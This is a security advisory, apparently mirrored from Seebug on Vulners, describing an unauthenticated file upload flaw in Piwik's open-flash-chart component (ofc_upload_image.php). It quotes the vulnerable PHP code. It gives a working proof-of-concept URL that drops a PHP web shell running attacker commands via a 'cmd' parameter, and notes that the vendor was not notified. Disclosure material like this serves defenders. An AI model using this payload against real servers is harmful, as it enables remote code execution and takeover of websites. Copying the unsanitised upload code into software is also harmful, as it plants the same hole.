Lucene search
K

Piwik <= 1357 2009-08-02 file upload and code execution

🗓️ 19 Oct 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Piwik Build <= 1357 2009-08-02 file upload vulnerabilit

Code

                                                Piwik Build &lt;= 1357 2009-08-02 (ofc_upload_image.php) Remote File Upload
Discovery: Braeden Thomas
Versions Affected: All Piwik versions utilising open-flash-chart

I. DESCRIPTION
Piwik is an open source web analytics software. 
It gives interesting reports on your website visitors, your popular pages, 
the search engines keywords they used, the language they speak‚ and so much more.

II. EXPLANATION
The vulnerability exists in Piwik's implementation of &quot;open-flash-chart&quot;,
a module which resides in the &quot;./libs/open-flash-chart/php-ofc-library&quot; directory.

The vulnerable code forces Piwik to create a directory called
&quot;./libs/open-flash-chart/tmp-upload-images&quot; which in turn creates a file which is
able to hold PHP code. This code however does not function correctly if global
variables are unable to be overwritten.

III. VULNERABILITY
&lt;?
	$default_path = '../tmp-upload-images/';
	if (!file_exists($default_path)) mkdir($default_path, 0777, true);
		$destination = $default_path . basename( $_GET[ 'name' ] );  // This should be sanitised before use.
	
	echo 'Saving your image to: '. $destination; // and it tells us where it's saving it to, sigh.

	$jfh = fopen($destination, 'w') or die(&quot;can't open file&quot;); // The vulnerable code is right here.
	fwrite($jfh, $HTTP_RAW_POST_DATA);			   // and here, &lt;?phpinfo();?&gt;, &lt;?system($_GET['cmd']);?&gt;
	fclose($jfh);
?&gt;

IV. PROOF OF CONCEPT
./libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&amp;HTTP_RAW_POST_DATA=&lt;?system($_GET['cmd']);?&gt;

V. VENDOR
The vendor has not been notified.

VI. SOFTWARE AFFECTED
Piwik and various other software utilising the open-flash-chart library.
The latest version of open-flash-chart (version 2) also includes the vulnerable file
yet may be omitted from various implementations of the open-flash-chart library.
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation